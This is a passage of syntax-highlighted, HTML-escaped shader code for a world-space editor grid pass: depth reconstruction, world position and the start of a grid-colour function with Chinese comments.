class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_FadeOut\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;Fade Out\u0026quot;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eFloat\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.8\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePass\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eName\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026quot;WorldGrid\u0026quot;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eCull\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOff\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eZTest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLess\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eZWrite\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOff\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBlend\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSrcAlpha\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOneMinusSrcAlpha\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eZero\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eOne\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eHLSLPROGRAM\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"cp\"\u003e#pragma target 6.0\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"cp\"\u003e#pragma vs vert\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"cp\"\u003e#pragma ps frag\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"cp\"\u003e#include \u0026quot;Common.hlsl\u0026quot;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"cp\"\u003e#include \u0026quot;Lighting.hlsl\u0026quot;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecbuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecbMaterial\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_XAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_ZAxisColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_LineColor\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_Antialiasing\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_FadeOut\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecbuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecbPass\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixView\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixViewProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixInvView\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixInvProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixInvViewProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_Time\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_CameraPositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eLightData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_LightData\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eMAX_LIGHT_COUNT\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_LightCount\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVaryings\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nd\"\u003eSV_Position\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTEXCOORD0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVaryings\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evert\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nd\"\u003eSV_VertexID\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eVaryings\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epositionCS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetFullScreenTriangleVertexPositionCS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetFullScreenTriangleTexCoord\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eoutput\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetDepthAndWorldPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mo\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exy\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eivp\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_MatrixInvViewProjection\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003edot\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eivp\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003exyw\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyw\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eivp\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ediscard\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edepth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eivp\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003endc\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ew\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exyz\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetGridColor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridWidth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003epow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elevel\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epositionWS\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003exz\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e/\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridWidth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003efwidth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 值越大,离得越远\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egridEdge\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nb\"\u003eabs\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nb\"\u003efrac\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003escaledPos\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ehalfLineWidth\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e_Antialiasing\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ediff\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 离得越远越粗\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ethreshold\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"w\"\u003e 